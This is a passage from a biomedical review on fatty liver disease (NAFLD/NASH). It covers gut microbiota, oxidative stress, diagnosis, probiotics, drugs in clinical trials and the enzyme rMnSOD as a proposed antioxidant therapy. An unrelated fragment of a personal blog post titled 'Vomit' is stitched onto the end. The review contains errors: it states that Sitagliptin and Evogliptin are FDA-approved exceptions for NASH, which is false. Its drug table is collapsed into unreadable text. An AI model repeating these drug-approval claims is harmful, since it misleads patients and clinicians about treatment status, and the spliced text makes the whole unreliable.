The gut microbiota decreases the expression of fasting-induced adipose factor (Fiaf) [@bib42], which is a suppressor of lipoprotein lipase (LPL), a key regulator of fatty acid release from triglyceride-rich lipoproteins in muscle, heart, and fat [@bib43]. Increased cellular uptake of fatty acids and triglyceride accumulation are induced by increased adipocyte LPL activity. The gut microbiota releases pathogen-associated molecular patterns (PAMPs), which are Toll-like receptor (TLR) ligands [@bib27]. In humans, TLR2, TLR4, and TLR9 are involved in the pathogenesis of NASH [@bib44]. The gut microbiota and the derived endotoxins participate in the mechanism of insulin resistance via TRL signals, in particular through the interaction between lipopolysaccharide (LPS) and its ligand TLR4 (localized on the surfaces of monocytes, mast cells, B cells and gut epithelium) with the monocyte differentiation antigen CD14 system [@bib24], [@bib45], [@bib46]. LPS, which is produced by intestinal Gram-negative bacteria, is a complex of polysaccharides and lipids. It is an active component of endotoxin and, when it is released by these bacteria, binds to a lipopolysaccharide-binding protein (LPB), CD14, and TRL4 and migrates into intestinal vessels [@bib47]. A high-fat diet stimulates microbiota containing LPS, which is transported by chylomicrons [@bib48], [@bib49]. LPS translocation to extra-intestinal tissues is facilitated by downregulation of tight junction proteins (ZO-1 and occludin) leading to increased intestinal permeability [@bib50]. When LPS binds the LPB complex and TRL4 associates with CD14 on Kupffer cells, an intracellular inflammatory cascade is triggered [@bib51], which activates nuclear factor kappa (NF-κB) and its related pathway, inducing the production of proinflammatory cytokines, such as TNF-α, IL-1, and IL-6 [@bib52]. This pathway is stimulated in the presence of NASH, and patients with this disease exhibit upregulated TNF-α gene expression and high plasma levels of LBP [@bib53]. TLR4 can also be present on hepatic stellate cells (HSCs), which produce most of the extracellular matrix deposited by the fibrotic process associated with endotoxemia [@bib54], [@bib55]. HSCs respond to the activation of LPS through a TRL4-dependent pathway [@bib55].
6. The role of oxidative stress {#s0030}
===============================
Many recent studies have shown the importance of oxidative stress in the progression of steatosis to steatohepatitis [@bib56], [@bib57], [@bib58], [@bib59]. Neish et al. demonstrated that the interaction between the gut epithelia and some groups of enteric commensal bacteria induces rapid generation of ROS within host cells [@bib60]. Kountouras et al. hypothesized a significant possible linkage and a crucial role of *Helicobacter pylori* (*H. pylori*) in the pathophysiology of metabolic syndrome, in *H.pilory*--related extragastric diseases and neoplastic conditions. *H. pylori*, apart from classic microbiota, plays its pathogenic role by triggering a severe leukocyte infiltration of the tissue, releases a virulence factor (*H. pylori*-induced neutrophil-activating protein (NAP)) that stimulates neutrophils to produce ROS and secrete myeloperoxidase, chemokines and proinflammatory cytokines*. H.pilory* may also colonize gut itself and affect the pathogenesis of NAFLD determining a dysbiosis of gastrointestinal tract (GIT) microbiota [@bib61], [@bib62]. The intestinal microbiota produces endogenous ethanol contributing to the morphological and functional changes in the cells that constitute the intestinal barrier favoring the transit of endotoxins in the gut vessels [@bib63]. Ethanol and its derived compounds (acetaldehyde and acetate) [@bib64] induce the formation of ROS by HSC cells and Kupffer cells [@bib65]. Together with LPS, ROS promote increased TLR4 gene expression [@bib66]. Acetate is also a substrate for fatty acid synthesis; therefore, steatosis, elevated FFAs and ROS generation caused by mitochondrial dysfunction, lead to the production of inflammatory cytokines and ultimately, to liver injury [@bib23], [@bib27], [@bib32], [@bib67], [@bib68]. Hyperinsulinemia blocks the mitochondrial oxidation of fatty acids, which therefore accumulate and are then partially metabolized by the peroxisomes [@bib69] and microsomes, with the subsequent production of ROS and lipid peroxidation. The result is the formation of products, such as malondialdehyde (MDA) [@bib70], which has a longer half-life than ROS, and can spread to other regions to generate oxidative stress. These phenomena are key factors in the development of NASH. The oxidative balance is crucial [@bib71], and can collapse if the mitochondrial ability to control this balance is damaged under constant oxidative stress. Under these conditions, such as β oxidation, oxided cofactors (NAD+ and FAD) are converted into reduced cofactors (NADH and FADH2). Electrons are delivered to respiratory chain. The transfer of electrons to the mitochondrial respiratory chain (ETC) on one side and their outflow on the other, creates an imbalance that leads to an accumulation of ROS [@bib27] ([Fig. 5](#f0025){ref-type="fig"}).Fig. 5The role of oxidative stress. Elevated levels of free fatty acids (FFA), insulin resistance, and obesity are triggers for peroxisomal, mitochondrial and microsomal oxidation leading to the production of reactive oxygen species (ROS) and products such as malondialdehyde (MDA), which that has a longer half-life than ROS. These products mediate oxidation of reduced cofactors, nuclear damage, lipid peroxidation, protein denaturation, inflammation and fibrosis.Fig. 5
Normally, the superoxides (incompletely reduced forms of oxygen) are dismutated by superoxide dismutase (SOD) into hydrogen peroxide, which in turn is converted into non-toxic water by glutathione peroxidase and catalase [@bib72]. At relatively low levels of these various antioxidant repair enzymes, hydrogen peroxide, which is generated by the Fenton reaction and mediated by iron levels, can induce fatty acid oxidation [@bib73]. This leads to damage to the ETC and the mitochondrial DNA located near the inner membrane of the organelle, DNA mutations, and cellular apoptosis [@bib74]. Elevated levels of iron, an inducer of oxidative stress, are observed in NASH, although its role in this disease remains to be fully elucidated [@bib73]. Acute stress tends to upregulate mitochondrial biogenesis and function, while chronic stress tends to mediate the opposite effects. In response to multiple individual and environmental factors, mitochondria produce factors that affect cellular function, gene expression, and cellular senescence [@bib75]. Hepatocyte apoptosis and senescence contribute to the activation of the inflammasome via a variety of intra- and inter-cellular signaling mechanisms that lead to fibrosis and may mediate disease progression [@bib28]. The role of mitochondrial DNA in NASH differs from that in simple fatty liver. In fatty liver, increased mitochondrial DNA protects against inflammation and fibrosis, while these processes are exacerbated by the decreased levels associated with NASH. The transcription of PPARG Coactivator 1 Alpha (*PPARGC1A*) is the most important regulator of mitochondrial biogenesis [@bib76], [@bib77] and is involved in hepatic glucogenesis [@bib78]. Recent data show that the gut microbiota regulate the metabolism of the major intracelluar antioxidant, glutathione, in the host organism [@bib79]. Thus, lower levels of glutathione can contribute to oxidative stress [@bib80], [@bib81]. Several researchers have observed that glycine, which is necessary for glutathione synthesis, is consumed by the microbiota in the small intestine, resulting in a clear deficiency glutathione. This discovery may lead to the identification and commercialization of probiotics that replenish glycine and/or increase glutathione in the gut [@bib82].
7. NAFLD/NASH: diagnosis {#s0035}
========================
There are no biochemical parameters that allow accurate diagnosis of steatosis. NAFLD is often accompanied by moderate elevation of serum alanine aminotransferase (ALT), gamma-glutamyl transferase (γGT) [@bib83] and an ALT/AST ratio \< 1 [@bib84], as well as levels of triglycerides and cholesterol that exceed the normal range. However, a significant number of subjects may present normal parameters of the liver while suffering from advanced forms of liver disease. Liver ultrasound has a high sensitivity (89%) and specificity (93%) for the diagnosis of steatosis, but not for the diagnosis of fibrosis (sensitivity 77%, specificity 89%) [@bib84]. Moreover, while ultrasound is highly effective in determining the presence of fat in the liver parenchyma, it does not provide information regarding the likelihood of disease progression. Ultrasonography of the liver combined with serum transaminase levels is now a simple and efficient approach used to screen subjects at risk of hepatosteatosis [@bib67], [@bib85], [@bib86]. The NAFLD activity score (NAS), which is a conventional system used to grade NAFLD diagnosis, is based on three histological features: steatosis (0--3), inflammation (0--3) and hepatocyte ballooning (0--2), with an overall score in the range from 0 to 8 [@bib87]. NASH is divided into three different categories: non-NASH, borderline NASH (NAS 3--4) and definitive NASH (NAS ≥ 5) [@bib88], while fibrosis is staged on a scale from 0 to 4 [@bib87], [@bib89] ([Fig. 6](#f0030){ref-type="fig"}).Fig. 6NAFLD and NASH: diagnosis. The diagnosis of NAFLD in a patient with raised levels of alanine aminotransferase (ALT) and steatosis detected by ultrasound examination, requires histological confirmation. The NAFLD activity score (NAS) is an accepted system used to grade NAFLD diagnosis. The score is based on evaluation of three histological features: steatosis (0--3), hepatocyte ballooning (0--2) and inflammation (0--3), with an overall score in the range from 0 to 8. The diagnosis of NASH is divided into three different categories: non-NASH, borderline NASH (NAS 3--4) and definitive NASH (NAS ≥ 5). Fibrosis is staged on a scale from 0 to 4.Fig. 6
In conclusion, excluding all other causes of hepatosteatosis and in the absence of an intake of alcohol exceeding 20 g/day, a diagnosis of NAFLD/NASH can only be confirmed on the basis of liver biopsy and histological examination [@bib88], [@bib90], [@bib91], [@bib92]. It is important to stress that liver biopsy is an invasive procedure with rare, but severe, adverse events, including mortality. Transient elastography is a new, noninvasive, and economically attractive technique that measures tissue hardness, which is mainly due to the extent of fibrosis [@bib93], [@bib94]
8. Current therapies for NAFLD/NASH: unmet medical needs {#s0040}
========================================================
The first step in developing a new therapy is to establish the goals as reversal or prevention of fibrosis/cirrhosis progression, improvement or maintenance of liver function or prevention of transplantation or death. Many different pharmacotherapeutic strategies have been considered, although the impact of these therapies has not been satisfactory. Lifestyle modifications (gradual weight loss with a low-fat and glycemic diet, exercise and a constant supply of fruit and vegetables) could be effective for NAFLD patients. Some authors report an improvement in steatosis following 5% weight loss [@bib95], while others report that a mild weight loss of approximately 3% reduces steatosis, although weight loss of up to 10% is required for regression of fibrosis in NASH patients [@bib96]. The use of probiotic bacteria reduces the risk of developing an overgrowth of intestinal bacteria by decreasing the levels of low-grade inflammation. Probiotic therapy on the other hand, has been suggested to counteract the development of NAFLD on various levels. Probiotic bacteria regulate liver inflammation by balancing the production of pro- and anti-inflammatory cytokines (TNF-α by downregulation of NF-κB activity), improving liver function, and reducing the content and β oxidation of hepatic fatty acids [@bib29]. Studies of the intestinal microflora composition have shown that changes in its composition (e.g. reduced number of *Bifidobacteria*) induce an increase in plasma LPS levels with a consequent increase in proinflammatory cytokines [@bib97]. Treatment with the probiotic *Bifidobacteria* has increased insulin sensitivity and reduced fat deposition in the liver [@bib97]. A multi-species blend of probiotics (VSL\#3) ameliorates insulin resistance and steatosis induced by a high-fat-diet, by increasing the frequency of hepatic natural killer T (NKT) cells [@bib98]. These unconventional T cells express both T cell and killer cell receptors, regulate the production of pro-and anti-inflammatory cytokines [@bib99] and stimulate TNF-ɑ levels resulting in increased insulin resistance according to the previously described mechanism [@bib98].
9. Synbiotic in NASH/cirrhosis progression: what can we expect? {#s0045}
===============================================================
Synbiotics represent the combined use of probiotics and prebiotics [@bib100]. Probiotics were defined by the World Health Organization in 2001 as "live microorganisms that, when administered in adequate amounts, confer a health benefit on the host" [@bib101], [@bib102]. In contrast to probiotics, prebiotics are not living organisms and stimulate the growth of beneficial bacteria in the gastrointestinal tract. In fact, prebiotics such as high-fiber foods, are consumed by and help the endogenous gut bacteria to survive and contribute to the maintenance of the general welfare of the organism [@bib103]. Interest in this relatively inexpensive, non-pharmacological category, has grown over the years; however, is this enough to justify their use in the prevention/treatment of NASH/cirrhosis progression? The ability to modify the gut microbiota, to strengthen the intestinal barrier and to modulate the inflammatory response, according to the previously described mechanisms, is unquestioned [@bib104]; nevertheless, definitive evidence of the efficacy of microbiome modulation in NASH/cirrhosis progression remains to be obtained. If on the one hand, there are several reports of the beneficial effects of some probiotics on hepatic damage in animal models, and on the other, the use of probiotics in experimental models of cirrhosis has provided discouraging results [@bib105], [@bib106]. The following objectives should be met in the prevention and therapy of the progression to NASH/cirrhosis: 1) improved hyperdynamic circulation in cirrhosis, caused by an increased resistance to flow due to portal hypertension and to altered hepatic vascular morphology of chronic liver disease; 2) hindrance of infection and; 3) prevention of hepatic encephalopathy [@bib107], [@bib108], [@bib109], [@bib110], [@bib111], [@bib112]. The inability to evaluate the quality of trials as well as the inherent heterogeneity and variety associated with such studies are major limitations that hinder clinical trials of probiotics. Probiotics are currently considered to be food products not as drugs, and are subject different government regulations. Consequently, it is difficult to interpret the results of numerous experimental and clinical studies. Furthermore, many of these studies are carried out on a small number of patients [@bib113] and are not randomized or are associated with the use of prebiotics, which makes it difficult to assess the utility of probiotics [@bib114]. The only studies in which the rationale has major scientific validity are those conducted with the probiotic, VSL\#3 [@bib29], which is a multi-species probiotic consisting of a proprietary combination of eight strains of bacteria (*Streptococcus thermophilus, Bifidobacterium breve, Bifidobacterium longum, Bifidobacterium infantis, Lactobacillus acidophilus, Lactobacillus plantarum, Lactobacillus paracasei, and Lactobacillus helveticus*). The combination of several bacterial species and strains can act synergistically to generate a more marked effect than a single strain. VSL\#3 was shown to decrease fibrosis in a mouse model of NASH [@bib115] and to recover liver function by lowering oxidative damage in patients with various liver diseases, including cirrhosis [@bib116]. On the other hand, in a randomized, double-blind placebo-controlled trial in patients with decompensated cirrhosis, VSL\#3 failed to achieve a significant decrease in the hepatic venous pressure gradient (HVPG) [@bib113]. However, it may have been an overambitious aim to decrease the HVPG in patients with cirrhosis and clinically significant portal hypertension by probiotic treatment alone. The use of probiotics has, therefore, recently been proposed as adjuvant therapy in addition to drugs [@bib117], [@bib118]. It is necessary to remember that although the use of probiotics was found to be safe in these studies, their long-term safety remains to be confirmed.
10. Pharmacological treatments {#s0050}
==============================
Currently approved drugs that are already in use for diabetes mellitus treatment have been considered for the treatment of NASH, since these conditions share the characteristics of obesity and insulin resistance. Among these drugs, metformin and thiazolidinediones (pioglitazone and rosiglitazone; PPAR-ɣ agonists) improve NASH both clinically and histologically [@bib119], [@bib120]. Metformin was reported to induce weight loss, while pioglitazone induced weight gain, with an increased risk of bladder cancer [@bib121]. Rosiglitazone is no longer available in the European Union and other countries due to the reported risk of cardiovascular events [@bib122]. Therefore, additional randomized controlled studies on a larger number of observed samples and for a greater period of observation are required to evaluate the long-term safety, efficacy and side-effects of these insulin-sensitizing agents. These drugs also appear to have additional antioxidant activity [@bib123]. Vitamin E, one of the best known antioxidants, protects against mitochondrial damage [@bib124] and is considered to be the first line treatment for NASH [@bib125], despite its association with an increased risk of prostate cancer and hemorrhage [@bib126]. Many authors reporting a histological improvement of liver NASH patients after bariatric surgery consider this approach to be feasible in obese patients [@bib127], [@bib128], although the data are not definitive, especially in cirrhotic patients, due to the absence of prospective randomized trials [@bib129]. Several clinical studies have been conducted to evaluate new classes of drugs that target different molecules or mechanisms of action related to NASH. A list of these molecules categorized according to drug class (metabolic homeostasis, inflammation, oxidative stress, apoptosis, and fibrosis), target, mechanism of action, and phases of clinical trials is presented in [Table 2](#t0010){ref-type="table"}.Table 2List of drugs evaluated for non-alcoholic steatohepatitis (NASH) treatment. Several new molecules that are being evaluated in ongoing clinical trials for NASH treatment. These molecules target various metabolic pathways including metabolic homeostasis, inflammation, oxidative stress, apoptosis and fibrosis. Many are in Phase 2 or 3 although, with the exception of Sitagliptin and Evogliptin, there are currently no FDA-approved therapies for this disease.Table 2**Drug classCompoundPhaseTarget//Mode-Of-Action (MOA)CompanyRefs.**Metabolic homeostasisRG-125 (AZD4076)Preclin.microRNA-103/107 (\"miR103/107\")/insulin sensitivity and resistanceRegulus[@bib130]Metabolic homeostasisSaroglitazar (ZYH1)1PPAR/PPAR α/γ agonistZydus Cadila[@bib131]Metabolic homeostasisGS-96741FXR/FXR agonistGilead Sciences[@bib132]Metabolic homeostasisPF-052310231Fibroblast Growth Factor 21 (FGF21)/FGF21 analogPfizer[@bib133]Metabolic homeostasisIVA3372PPAR/PPARɑ-δ and γ (PanPPAR)Inventiva Pharma[@bib134]Metabolic homeostasisLJN-4522FXR/FXR agonistNovartis[@bib135]Metabolic homeostasisNGM-2822Fibroblast Growth Factor 19 (FGF19)/FGF19 analogNGM Biopharmaceutic[@bib136], [@bib137]Metabolic homeostasisAramchol2Stearoyl-coenzyme A desaturase 1 (SCD1)/SCD1 inhibitorGalmed Pharmaceuticals[@bib138]Metabolic homeostasisLUM0022ASBT/ASBT inhibitorLumena[@bib139], [@bib140]Metabolic homeostasisLiraglutide (NN2211)2Glucagon-like peptide-1 (GLP-1) receptor/GLP-1 analogNovo Nordisk[@bib141]Metabolic homeostasisElafibranor (GFT505)3PPAR/PPARɑ-δ agonistGenfit[@bib142]Metabolic homeostasisRosiglitazone3PPAR//insulin sensitizerGlaxoSmithKline[@bib122]Metabolic homeostasisPioglitazone3PPAR//insulin sensitizerTakeda Pharmaceutical[@bib120]Metabolic homeostasisObeticholic acid (OCA) (INT-747)3FXR/FXR agonistIntercept[@bib143], [@bib144]InflammationCenicriviroc (CVC)2C-C chemokine receptor types 2 (CCR2) and 5/CCR2/CCR5 antagonist (CCR5)Tobira Therapeutics[@bib145]InflammationVenlafaxine-103(VLX103)2TNF/downregulation of proinflammatory cytokinesVerlix Pharma[@bib146]InflammationSitagliptinMktDipeptidyl peptidase 4/(DPP-4 inhibitor)Merck Sharp & Dohme[@bib147]InflammationEvogliptinMktDipeptidyl peptidase 4/(DPP-4 inhibitor)Dong-A ST[@bib148]Oxidative stressPXS4728A1Semicarbazide-Sensitive Amine Oxidase (SSAO)/VAP-1 inhibitorBoehringer Ingelheim[@bib149]Oxidative stressGS- 49972Apoptosis signal- regulating kinase 1 (ASK1)/ASK1 inhibitorGilead Sciences[@bib150]FibrosisSimtuzumab (GS-6624ClinicalTrials.gov Identifier: [NCT01672879](ctgov:NCT01672879){#ir0005}2Lysyl oxidase and lysyl oxidase- like (LOXL) enzymes)/lysyl oxidase and lysyl oxidase-like inhibitorGilead Sciences[@bib151]FibrosisGR-MD-022Galectin- 3 protein/Galectin-3 protein inhibitorGalectin Therapeutics[@bib152]ApoptosisEmricasan (IDN-6566)2Caspase/caspase inhibitorConatus Pharmaceuticals[@bib153]
To date, many of these new molecules are being evaluated in randomized trials (Phases 1, 2, and 3), although there are no FDA-approved therapies for this disease [@bib96], [@bib154], with the exception of Sitagliptin and Evogliptin, that are in the market (Mkt) approval phase. The presence of fibrosis is the main obstacle to the success of these agents because these drugs do not exert a reductive effect on fibrosis [@bib32], [@bib96].
11. Antioxidant treatments in clinical trials {#s0055}
=============================================
Oxidative stress is well established as a major factor contributing to progression from simple fatty liver to NASH. Ongoing clinical trials have shown improvements in several liver activities following anti-oxidative therapy, although the long-term effects remain to be clarified. One of these drugs that is currently under investigation (PXS-4728A) [@bib155] is a selective inhibitor of vascular adhesion protein-1 (VAP-1), which is an enzyme expressed constitutively in the human hepatic endothelial cells and adipocytes. It induces liver inflammation, fibrosis, and cirrhosis [@bib156] promoting leukocyte migration due to the generation of ROS such as aldehyde, ammonia and hydrogen peroxide. These products induce oxidative stress as a result of the conversion of hydrogen peroxide to hydroxyl free radicals (•OH). VAP-1 plays a significant role in the progression of NAFLD/NASH. Weston et al. [@bib156] showed an increased hepatic expression of this enzyme in human NAFLD compared with that in controls. The novel molecule PXS-4728A inhibits this enzyme and might act as an anti-inflammatory and anti-fibrotic drug in NASH by reducing oxidative stress. PXS-4728A has good oral bioavailability and nanomolar potency; however, the trial is still in Phase 1 and therefore, the efficacy profile of this molecule remains to be determined. GS-4497 is a small molecule that inhibits apoptosis signal-regulating kinase 1 (ASK1). In response to oxidative stress, this redox-sensitive mitogen-activated protein kinase kinase kinase (MAPKKK) induces activation of MAPK kinases p38 and c-Jun N-terminal kinase (JNK), which stimulate the release of inflammatory molecules, the expression of cellular matrix genes (fibrosis) and promote cellular apoptosis and necrosis. GS-4497 competes with ATP in the ASK1 catalytic domain [@bib150]. Lin et al. described an ongoing Phase 2 clinical trial evaluating the effects of this new molecule in patients with diabetic kidney disease. Gilead Sciences demonstrated an improvement in NASH patients with moderate or severe fibrosis following treatment with GS-4497 alone or in combination with the monoclonal antibody, Simtuzumab (Phase 2 trial). These results were presented during an abstract session at The 2016 Liver Meeting (Boston, MA).
Ohsawa et al. [@bib157] identified molecular hydrogen (H~2~) as a powerful antioxidant. H~2~ prevents the reduction in the mitochondrial membrane potential and promotes cellular ATP synthesis. In vitro, H~2~ scavenges hydroxyl radicals, but not superoxide, hydrogen peroxide or nitric oxide (NO). NO is essential for blood vessel dilation, and protects against endothelial cell activation, suggesting that oxidative stress is necessary for survival [@bib158]. Halliwell [@bib159] described antioxidants as "any substance that, when present at low concentrations compared to those of an oxidizable substrate, significantly delays or prevents oxidation of that substrate". Given the undisputed importance of ROS for the physiologic and pathophysiologic states of the organism, especially in the mitochondria, a basal level of ROS is essential. Most antioxidants cannot diffuse into the cytoplasm and penetrate the mitochondria, but are retained in the membranes (which is characteristic of their hydrophilic nature) and cannot overcome the biological barriers without specific carriers or receptors (this is typical of hydrophobic compounds such as vitamin E) [@bib27]. One plausible explanation for the therapeutic failure of antioxidants is that they do not accumulate preferentially in the mitochondria, which is the major site of ROS generation.
12. Effects and side-effects of current clinical trials {#s0060}
=======================================================
Peroxisome proliferator activator receptors (PPARs) are a group of nuclear receptors expressed not only in the liver, but also in other tissues (heart, kidney, and adipose tissue). This non-specific expression limits the use of PPARs in the treatment of NASH and only one, the PPARα/δ agonist, Elafibranor, has been shown to regress the state of fibrosis: this drug is currently in a Phase 3 trial (GFT505) [@bib142]. Obeticholic acid (OCA), which is a synthetic bile acid derivative that functions as an agonist of the intracellular bile acid receptor, farnesoid X receptor (FXR), is in an ongoing Phase 3 trial (([NCT02548351](ctgov:NCT02548351){#ir0010}) showing a significant improvement in fibrosis score (35% vs. 19% of controls; *P* = .004). Pruritus has been reported as a reversible side-effect of treatment with this molecule, in addition to the emergence of cardiovascular events [@bib143], [@bib144]. At present, insulin sensitizers, such as pioglitazone, which are chemically classified as thiazolidinediones (TZDs), have been shown to be useful in the treatment of NASH. In a Phase 3 PIVENS trial (pioglitazone vs. vitamin E vs placebo for treatment of non-diabetic patients with NASH), pioglitazone and vitamin E were found to improve the histology of NASH but not fibrosis [@bib125]. The use of this drug was associated with weight gain as a side-effect and increased risk of congestive heart failure. Furthermore, the continued usage of vitamin E might have a negative influence on patient mortality since the dose used in the clinical study (400--800 IU/day to 1000 IU/day) was much higher than the daily dose recommended by the FDA (22.4 IU) [@bib26]. An inappropriate use of antioxidants may also be harmful because it would lead to a complete abolition of all cellular ROS. On the other hand, ROS overproduction leads to cell damage, aging and various diseases [@bib160].
13. rMnSOD as a potential innovative antioxidant treatment for NASH {#s0065}
===================================================================
Humans are equipped with a group of antioxidant enzymes known as superoxide dismutases (SODs) that catalyze the dismutation of superoxide anion (O~2~**·**^**--**^) to hydrogen peroxide and molecular oxygen (O~2~), thereby preventing the accumulation of these activated oxygen species. Mitochondrial manganese (Mn) SOD (MnSOD-2), that is a mitochondrial enzyme, is characteristic of aerobic organisms and is composed of four homologous 24-kDa subunits. MnSOD-2, unlike cytoplasmic Copper/zinc superoxide dismutase (Cu/ZnSOD) and extracellular Cu/ZnSOD (ecSOD) [@bib161], [@bib162], [@bib163], is synthesized in the cytoplasm and then transported to the mitochondrial matrix via its leader sequence, consisting of 24 amino acids. This peptide is subsequently cleaved, resulting in a mature and enzymatically active protein that plays a pivotal role within the cell [@bib164]. Despite our knowledge of superoxides, clinical application of therapies based on superoxide-scavenging mechanisms, whether in the form of SOD as a drug, as SOD-mimetics, or as stoichiometric scavengers of the radical, is still far from being widespread. The use of SODs as drugs was met with several technical difficulties related to the chemical nature of these enzymes. Like any other enzyme used as a drug, SODs have a charge density and are characterized by a rapid renal clearance that negatively affects pharmacodynamics and pharmacokinetics. Fibrosis is a frequent consequence of bladder irradiation and clinical trials of SODs for treatment of bladder inflammation resulting from irradiation leading to fibrosis have been conducted. These are preliminary results that need to be confirmed. They propose to use SOD, not only before radiation treatment, as a protecting agent, but also after exposure, as therapeutic treatment for radiation damage [@bib165], [@bib166]. Furthermore, promising results have emerged from a study of SODs in kidney transplant patients [@bib167]. It is noteworthy that the protective effects of MnSOD has already been widely documented [@bib168], [@bib169], [@bib170], [@bib171], although most of these studies were performed using the bovine protein. While SOD was found to protect organisms under ischemic conditions, the effects were less than satisfactory because of the bovine origin of the protein administered. Also, the protein was not considered injectable, as biological barriers resulted in its rapid inactivation. The same phenomenon was also observed following administration of constructs expressing human MnSOD genes bound to viral probes [@bib172]. Only a few major pharmaceutical companies are reported to be conducting R&D (research and development) projects addressing oxidative stress using SOD-like drugs [@bib173]. However, none of the commercially available SODs are able to enter cells. Moreover, these SODs are inactivated or excreted by the kidney [@bib172].
Recently, a new isoform of human MnSOD was isolated and obtained in a synthetic recombinant form, designated rMnSOD. This isoform is distinguished by its ability to enter cells, its strong antioxidant and antitumor activities and its easy administration by injection [@bib174], [@bib175]. rMnSOD appears to be a very effective scavenger of both intra- and extracellular O~2~**·**^**--**^ and improves pathological conditions associated with increased oxidative stress [@bib161], [@bib176]. Furthermore, rMnSOD shows good biodistribution in vivo, particularly in the liver [@bib177], indicating the great potential of this molecule for correcting hepatic oxidative stress. Elevated oxidative stress in the cirrhotic liver is one of the mechanisms responsible for both liver fibrosis and reduced NO availability [@bib178]. The authors demonstrated that chronic rMnSOD administration to cirrhotic animals decreases hepatic oxidative stress, improves intrahepatic vascular resistance, and decreases portal pressure mainly by ameliorating liver fibrosis. They showed a significant reduction in the hepatic oxidative stress generated experimentally through activation of the NADPH-oxidase system, confirming its biodistribution in the liver and the preservation of enzymatic activity. More significantly, a decrease in the elevated levels of O~2~**·**^**--**^ and improved NO availability were observed. Based on these data, it can be speculated that rMnSOD might represent a novel therapeutic strategy for liver disease in which oxidative stress is a pathogenic factor. This study suggests that rMnSOD might be a useful agent in the treatment of patients with liver cirrhosis, which is a pathological condition that is also present in NASH [@bib178]. Hide et al. [@bib179] used primary cultured liver sinusoidal endothelial cells, liver grafts from healthy and steatotic rats, and human liver samples, to characterize the effects of rMnSOD on cold storage and warm reperfusion (CS + WR) injury incurred during liver transplantation that is partly mediated by oxidative stress and may lead to graft dysfunction. This novel form of the human manganese superoxide dismutase protects rat and human livers against ischemia and reperfusion injury by ameliorating oxidative stress, leading to global reduction in liver damage and microcirculatory derangements. The antioxidant capability of rMnSOD added to the cold storage solution was maintained and protected rat and human liver tissues against the damage caused by oxidative stress. Another "Achilles' heel" associated with antioxidant therapies is the lack of cellular selectivity. Previously, Mancini et al. showed that rMnSOD displays a specific and selective cytotoxic activity against tumor cells expressing the estrogen receptor (ER) [@bib180] and enters cells using its 24-amino acid (aa) leader peptide, which represents the rMnSOD molecular carrier [@bib181]. Recently, Borrelli et al. demonstrated that six of the 24 amino acids penetrate cells through a particular "gate" represented by a specific amino acid sequence of the estrogen receptor (ER) [@bib161]. These characteristics may provide an opportunity to formulate new drugs with specific and selective effects for use in therapy. ERs are present in the human liver, rendering this organ sensitive to estrogen, which binds to these receptors with high affinity to exert saturable and specific effects at low concentrations [@bib182]. ER levels in males with chronic liver disease and patients with primary hepatic carcinoma (PHC) are twice the levels of normal males. Normal females have basal values that are approximately three times higher than those of control males [@bib183]. Furthermore, variant estrogen receptors (ERs) were found to be expressed in at higher levels in male patients with chronic liver disease. Recently, several pieces of evidence have linked estrogenic signaling with metabolic syndrome (MS) and liver disease [@bib184]. The beneficial effects of estrogen in counteracting some of the symptoms of MS are undeniable, though the underlying mechanisms remain largely unknown [@bib185]. Cell penetration is an essential prerequisite for therapies [@bib161] and poor permeability and selectivity of the cell membrane is an important obstacle to the development of drugs and therapeutic molecules [@bib172], [@bib186] because of the endothelium, which is the first physiological barrier between the blood and tissues. To deliver full-length molecules into a large number of cells, researchers are designing new nanotech strategies [@bib187] based on the delivery of drugs via nanoparticles. These include adenoviral vectors to improve gene transfer into injured tissues, lipid-based nanostructures, micelles from amphiphilic block copolyphosphates, antibody-drug conjugates, and biodegradable polyester or polyethyleneimine nanoparticles approved for human use, as well as graphene oxide-based noncovalent nano supramolecular complexes [@bib188], [@bib189], [@bib190], [@bib191], [@bib192], [@bib193], [@bib194]. Recently, we have used confocal microscopy analysis to obtain data (unpublished) demonstrating that rMnSOD penetrates biological barriers and localizes in mitochondria.
In conclusion, it has been confirmed that rMnSOD is: 1) a powerful antioxidant capable of dismutating ROS; 2) capable of penetrating biological barriers through its uncleaved leader peptide, and more specifically, through six of the 24 amino acids that constitute it and that are also responsible for its tranlocation into mitochondria; and 3) capable of reducing cirrhosis and portal hypertension in the liver. Thus, these distinguishing features implicate rMnSOD as a novel and highly effective adjuvant therapy that can significantly counteract the progression from NASH to hepatocarcinoma in the liver in rodent models.
14. Conclusions {#s0070}
===============
As one of the major causes of liver disease worldwide, NAFLD can lead to fibrosis, cirrhosis, and even HCC. The current consensus on the mechanism underlying the pathogenesis of this heterogeneous disease is based on a multi-parallel hit theory according to which inflammation represents the first cause of NASH progressing to fibrosis. The gut microbiota or its products are thought to play a fundamental role in the etiology and progression of NASH. Several lines of evidence suggest that lipopolysaccharides are a prominent mediator of the both the metabolic and proinflammatory effects of the gut microbiota. Changes in lifestyle and the use of synbiotics (probiotics and prebiotics) have been evaluated for their effects on the progression of NASH, although no randomized studies have been conducted to date. The benefits of insulin sensitizers, such as TZDs, in the treatment of NASH have been demonstrated in a Phase 3 PIVENS trial in which pioglitazone and vitamin E were found to improve NASH histology, but not fibrosis. However, the application of this regimen was limited by the side-effects of weight gain and increased risk of congestive heart failure. Ongoing clinical trials of molecules that target different pathways, such as metabolic homeostasis, inflammation, oxidative stress and fibrosis, have shown improvements in several liver activities, although the long-term effects remain to be determined. Several lines of evidence have confirmed that oxidative stress is a major factor contributing to the progression from simple fatty liver to NASH. Based on previously reported studies, we propose to investigate a mutated form of the rMnSOD enzyme as a powerful antioxidant that is capable of reducing cirrhosis and portal hypertension in the liver, for its potential in the treatment of NASH.
The authors thank Lega Italiana di Napoli per la Lotta Contro i Tumori (LILT) and Ministero della Salute (Ricerca Corrente 2017) for the support.
Authors\' contributions {#s0075}
=======================
AB conceived and wrote the manuscript. PB and FMT helped to draft the manuscript. AM, FMB, IDG and JLE revised the manuscript. All authors read and approved the final manuscript.
Declaration of interest {#s0080}
=======================
AM, IDG and JLE declare that they have potential competing interests because AM is co-founder of Leadhexa Biotechnologies Inc., IDG and JE are consultants to Leadhexa Biotechnologies Inc. The other authors declare that they have no competing interests. This manuscript has been read and approved by all the authors, and not submitted or under consider for publication elsewhere.
|
Vomit
Vomit – A good word whats about to spontaneously purge itself from my belly.
I’ve got this weird belief as it goes something like this:NOBODY and NOTHING should be above the law.!
I don’t mean all laws are good or should be respected, but certainly laws regarding matters of grave seriousness should be applied to all.
